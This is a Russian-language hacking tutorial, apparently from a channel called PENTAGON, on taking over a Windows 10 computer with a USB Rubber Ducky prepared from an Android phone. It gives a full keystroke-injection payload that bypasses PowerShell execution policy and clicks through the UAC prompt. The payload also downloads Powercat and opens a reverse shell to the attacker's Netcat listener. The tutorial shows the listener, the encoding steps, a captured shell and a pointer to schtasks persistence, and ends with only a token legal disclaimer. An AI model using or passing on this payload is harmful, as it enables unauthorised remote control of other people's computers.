Full

Full

PENTAGON
PENTAGON

Взламываем Windows 10 при помощи Android смартфона и USВ Rubber Ducky.

С телефоном на базе Android и USB-флешкой, злоумышленник может взломать компьютер с Windows 10 менее чем за 15 секунд. После того, как корневая оболочка была установлена, сохранение в бэкдоре можно настроить с помощью двух простых команд.

Все это не замечает ни антивирус, ни стандартный брандмауер Windows.

Как работает эта атака?

Powercat - это полнофункциональный модуль PowerShell. Он работает так же, как Netcat, позволяя пользователям PowerShell создавать туннели TCP и UDP с помощью командной строки.

Будет создана полезная нагрузка PowerShell для загрузки, импорта и выполнения Powercat в одной команде. Затем он будет закодирован в двоичном формате, понятном USB Rubber Ducky.

Используя USB Rubber Ducky, Powercat исполняется с правами администратора и быстро устанавливает оболочку через Netcat.

На этом этапе постоянство настраивается с помощью команды schtasks, которая была разработана Microsoft для автоматизации задач и команд в Windows 10.

Что нам понадобится?

Для этого действия требуется немного оборудования, которое некоторые из вас уже могут использовать. Ниже приведены четыре ключевых пункта.

USB Rubber Ducky.

USB Rubber Ducky идентифицирует себя как клавиатуру при подключении к компьютерам, а затем автоматически вводит вредоносные команды, предварительно запрограммированные в его полезную нагрузку. Полезная нагрузка может быть настроена для выполнения множества эксплойтов. Цены на USB Rubber Ducky от начинаются от 45 долларов (~2800 рублей).

В качестве альтернативы USB Rubber Ducky проекты NetHunter и DroidDucky могут превратить устройства Android в инструменты для инъекции. Они требуют модификации операционной системы Android.

И NetHunter, и DroidDucky - фантастические проекты для тех, кто хочет изменить операционную систему своего телефона. Представьте себе, что телефон Android можно подключить к любому компьютеру и выполнить сложные загрузки за считанные секунды - USB Rubber Ducky не требуется.

Android-устройство с предустановленным UserLAnd.

Подойдет любой телефон или планшет на Android с поддержкой приложения UserLAnd. Устройство не нуждается в руте. Все, что требуется, - это доступ к Интернету через Wi-Fi и вышеупомянутое UserLAnd.

OTG адаптер.

После создания полезной нагрузки PowerShell (на следующем этапе) ее необходимо будет перенести на карту microSD в Rubber Ducky.

Некоторые модели телефонов и планшетов Android оснащены слотом расширения microSD для большего объема памяти, поэтому, если у вас есть один из них, вам будет удобно, поскольку вы можете передавать файл таким способом.

Если на вашем устройстве нет слота для карт памяти microSD, вам потребуется какой-либо адаптер On-The-Go (OTG), который позволяет подключать карты памяти к вашему устройству через порт зарядки. Универсальным решением будет считыватель MicroSD USB-C Monoprice, если в вашем телефоне есть порт USB Type-C. Lexar производит аналогичный продукт для портов Micro-USB.

Поскольку Rubber Ducky поставляется с адаптером microSD-USB, вы можете выбрать адаптер OTG с гнездом USB типа A для подключения адаптера microSD. Если у вас есть порт USB-C на устройстве Android, Aukey станет хорошим адаптером. Для портов Micro-USB доступно множество дешевых опций, таких как кабель Ugreen.

PENTAGON

Кроме того, любая комбинация адаптеров может сделать работу ещё лучше. Как вы можете видеть, я использую адаптер Aukey в сочетании с портативным кард-ридером Anker.

PENTAGON

VPS.

Не обязательно, но желательно. Всё зависит от атаки.

Если сеть Wi-Fi используется совместно с целевым устройством, то встраивание локального IP-адреса злоумышленника в полезную нагрузку будет работать. В других случаях может потребоваться развернуть Ngrok.

После приготовлений мы готовы начать.

Начало работы с UserLAnd.

Вам нужно будет установить и настроить UserLAnd, создать новую файловую систему и подключиться к ОС через SSH с ConnectBot (или JuiceSSH или встроенным SSH-клиентом). Гугл вам в помощь.

Обновите систему и установите необходимое программное обеспечение.

Как и для любого устройства на базе Unix, перед продолжением проектов рекомендуется убедиться, что установленные пакеты полностью обновлены. Обязательно обновите систему и установите необходимое программное обеспечение, а также установите Java, который необходим для полезной нагрузки USB Rubber Ducky, с помощью приведенных ниже команд.

~$ sudo apt-get update && sudo apt-get dist-upgrade

Выполнение этой команды может занять несколько минут в зависимости от доступной скорости интернета и процессора Android. Старые устройства Android загружают и распаковывают пакеты дольше.

Чтобы установить необходимое программное обеспечение, используйте команду ниже.

~$ sudo apt-get update && sudo apt-get install net-tools netcat gnupg curl wget git nano screen

Java требуется для компиляции полезных нагрузок Ducky. Чтобы установить его, используйте команду ниже.

~$ sudo apt-get install default-jre-headless 

Запустите Netcat.

В зависимости от сценария атаки существует несколько способов настроить Netcat, который позволит получить удаленный доступ к целевому компьютеру Windows.

Локальный IP-адрес. Если целевой компьютер находится в той же сети Wi-Fi, что и устройство Android, можно будет просто запустить прослушиватель Netcat в ОС UserLAnd Kali. Хотя этот метод и быстрый, он не идеален. Если цель отключится от общей сети Wi-Fi, соединение Netcat будет разорвано, и не будет никакого доступа к устройству при его перемещении между различными сетями.

Виртуальный частный сервер. VPS идеально подходят для удаленного взлома целей, поскольку они перемещаются между различными сетями Wi-Fi в любой точке мира. В этом случае злоумышленник приобретет дешевые VPS и SSH. В этом случае Netcat и Screen будут установлены для длительного хранения на взломанном компьютере Windows. Это можно настроить полностью с Android.

Ngrok. В этом случае Ngrok будет пересылать запросы обратно на Android-устройство злоумышленника. Бесплатные учетные записи Ngrok не позволяют пользователям перерабатывать субдомены, поэтому это может обеспечить сохранение до тех пор, пока сервер Ngrok не будет завершен на устройстве Android. Несмотря на то, что сервер Android можно поддерживать в течение длительного периода времени, он неизбежно в конечном итоге завершает работу, когда Android перезагружается или молча закрывает приложение UserLAnd, работающее в фоновом режиме.

В любом случае, рекомендуется настроить Screen так, чтобы сеансы терминала продолжались, несмотря на закрытие соединений SSH.

Screen позволяет пользователям управлять несколькими терминалами в одной консоли.

Чтобы начать новую сессию, просто напишите screen.

~$ screen

Затем используйте команду ifconfig -a для определения локального IP-адреса, используемого системой. Этот IP потребуется на следующем шаге при создании полезной нагрузки.

~$ ifconfig -a

wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.0.208  netmask 255.255.255.0  broadcast 192.168.0.255
        inet6 :::::  prefixlen 64  scopeid 0x20<link>
        unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00  txqueuelen 1000  (UNSPEC)
        RX packets 95745  bytes 115985231 (110.6 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 44735  bytes 4289090 (4.0 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

В ОС UserLAnd Kali будет много доступных интерфейсов. Интерфейс "wlan0" или "wlan1", скорее всего, будет содержать локальный IP-адрес устройства (192.168.0.208). Пользователи VPS вместо этого будут вставлять тот же внешний IP-адрес, который используется при SSHing на сервер. Пользователи Ngrok должны будут настроить сервер и встроить URL в полезную нагрузку.

Наконец, запустите Netcat с помощью приведенной ниже команды.

~$ netcat -vv -l -p 1234

Используя порт (-p) 1234, Netcat будет прослушивать (-l) на каждом доступном интерфейсе. -Vv напечатает IP-адрес цели в терминале, когда будет установлено новое соединение.

Создаем полезную нагрузку.

После перезагрузки Android запустите приложение UserLAnd и SSH в новой системе Kali.

Используйте nano для создания нового файла "payload.txt" в домашнем (~ /) каталоге. Этот файл будет содержать полезную нагрузку Ducky в виде простого текста.

~$ nano ~/payload.txt

Комментарии (REM) были добавлены, чтобы объяснить, что делает каждая строка полезной нагрузки.

REM This first delay stalls the Ducky for 5.5 seconds to give the target
REM operating system some time to mount the USB as a keyboard device.
DELAY 5500
REM Opens the Windows Run prompt.
GUI r
REM Delays .7 seconds to give the Run prompt time to open.
DELAY 700
REM Types the PowerShell payload.
STRING powershell /w 1 /C $a=$env:TEMP;Set-ExecutionPolicy Bypass;wget https://cutt.ly/cW13i -o $a\d.ps1;ipmo $a\d.ps1;powercat -c 192.168.0.208 -p 1234 -e powershell
REM Presses Ctrl + Shirt + Enter to execute the PowerShell with administrative privileges.
CTRL-SHIFT ENTER
REM Delay .85 seconds to give the UAC prompt time to open.
DELAY 850
REM Presses Alt + Y to bypass UAC.
ALT y

Многое происходит в PowerShell в одной вкладке. Есть несколько команд, связанных и разделенных точками с запятой.

  • $a=$env:TEMP — Временный каталог цели устанавливается в переменную $ a. Эта переменная вызывается дважды в скрипте. Во-первых, выступая в качестве выходного каталога для powercat.ps1 и снова вызывается при его импорте. Использование одного символа$ помогает сократить общую длину полезной нагрузки; Это более эффективно, чем использовать «C: \ Users \% USERNAME% \ AppData \ Local \ Temp» несколько раз.
  • Set-ExecutionPolicy Bypass — это функция безопасности PowerShell, которая предотвращает выполнение многих подобных полезных нагрузок PowerShell. В нескольких тестах я обнаружил, что простой установки -ExecutionPolicy недостаточно для обхода этой функции безопасности. Как администратор (root) эту политику можно обойти.
  • wget https://cutt.ly/cW13i -o $a\d.ps1 — PowerShell получает указание вызвать веб-запрос (wget) и извлечь powercat.ps1 с укороченным URL-адресом cutt.ly. Этот URL-адрес напрямую связан со страницей Powercat GitHub, но его можно изменить на полный URL-адрес или другой сокращенный URL-адрес. Powercat.ps1 сохраняется (-o) во временном каталоге ($ a) с именем файла "d.ps1". Имя файла было сокращено до одной буквы, чтобы полезная нагрузка Ducky была максимально короткой.
  • ipmo $a\d.ps1 — Функция импорта-модуля PowerShell вызывается с использованием псевдонима ipmo. Снова, используя более короткую версию команды, чтобы сохранить полезную нагрузку Ducky короткой. Powercat.ps1 импортируется.
  • powercat -c 192.168.0.208 -p 1234 -e powershell — Наконец, Powercat выполняется и получает указание подключиться (-c) к серверу злоумышленника (192.168.0.208) через порт (-p) 1234 и выполнить (-e) PowerShell, когда соединение установлено. Это предоставляет удаленный доступ к корневому терминалу PowerShell.
Комментарии могут оставаться в полезной нагрузке и не будут влиять на нажатия клавиш. Чтобы сохранить и выйти из терминала, нажмите Ctrl-x, затем y, затем Enter.

Кодируем полезную нагрузку.

USB Rubber Ducky не может быть загружен на карту microSD в виде обычного текста. Вместо этого, Hak5 Duck Encoder будет использоваться для преобразования простого текста в двоичный формат.

Чтобы клонировать репозиторий Duck Encoder, используйте команду ниже.

~$ git clone https://github.com/hak5darren/USB-Rubber-Ducky/

Перейдите (cd) во вновь созданный каталог Encoder /. И закодируйте payload.txt.

~$ cd USB-Rubber-Ducky/Encoder/

Эта команда будет использовать кодировщик.jar для преобразования входного (-i) файла в необходимый двоичный файл «inject.bin» для вывода (-o). Имя выходного файла не является произвольным и должно называться «inject.bin», чтобы Ducky мог выполнять атаки с помощью нажатия клавиш.

~$ java -jar encoder.jar -i ~/payload.txt -o inject.bin

Hak5 Duck Encoder 2.6.4

Loading File .....          [ OK ]
Loading Keyboard File ..... [ OK ]
Loading Language File ..... [ OK ]
Loading DuckyScript .....   [ OK ]
DuckyScript Complete.....   [ OK ]

Когда это будет сделано, в каталоге Encoder / появится новый файл «inject.bin». Это можно проверить с помощью приведенной ниже команды ls -l.

~$ ls -l

-rw-r--r--. 1 root root  1466 Jan 11 11:39 README
-rw-r--r--. 1 root root 57535 Jan 11 11:39 encoder.jar
-rw-r--r--. 1 root root    86 Jan 12 01:57 inject.bin
drwxr-xr-x. 2 root root  4096 Jan 11 11:39 resources
drwxr-xr-x. 2 root root  4096 Jan 11 11:39 src 

Подключаем Ducky MicroSD к устройству Android.

С помощью адаптера для чтения карт памяти, вставьте Ducky microSD в устройство Android. Содержимое файла можно просмотреть с помощью приложения Android для загрузки.

PENTAGON
Через несколько секунд новое съемное устройство будет доступно через системные загрузки

Вернитесь к терминалу OS Kali. Операционная система не будет иметь доступа к внешним устройствам хранения (например, к карте microSD), поэтому сначала нужно скопировать (cp) файл «inject.bin» в каталог / sdcard / Download /, а затем скопировать в microSD. используя ОС Android.

~$ cp ~/USB-Rubber-Ducky/Encoder/inject.bin /sdcard/Download/

И вот оно, теперь доступно в приложении для закачки.

Начинаем взлом!

Вставьте USB Rubber Ducky в целевой компьютер с Windows 10, и новое соединение с устройством Android будет установлено.

~$ nc -vv -l -p 1234

Ncat: Version 7.70 ( https://nmap.org/ncat )

Ncat: Connection from 192.168.0.33.
Ncat: Connection from 192.168.0.33:49672.
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Windows\system32>

Netcat сообщит о новом «Соединении с xx.xx.xx.xx», содержащем IP-адрес цели. Выполнение такой команды, как ls или pwd, выведет список файлов в текущем каталоге или напечатает имя текущего каталога соответственно. Pwnage может начаться.

Теперь, используя другой сеанс Screen, создайте новый Netcat и подождите, пока компьютер с Windows не будет работать.

~$ nc -vv -l -p 2

Ncat: Version 7.70 ( https://nmap.org/ncat )

Ncat: Connection from 192.168.0.33.
Ncat: Connection from 192.168.0.33:24276.
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Windows\system32>

Там много веселья со Schtasks. Для более подробной информации о доступных аргументах используйте schtasks /? и schtasks / Create/?

Команда ниже.

> schtasks /Create /?

Вот и всё!

И помните, всё что вы делаете - только ваша ответственность. Мы не призываем вас к чему-то незаконному.

PENTAGON


Report Page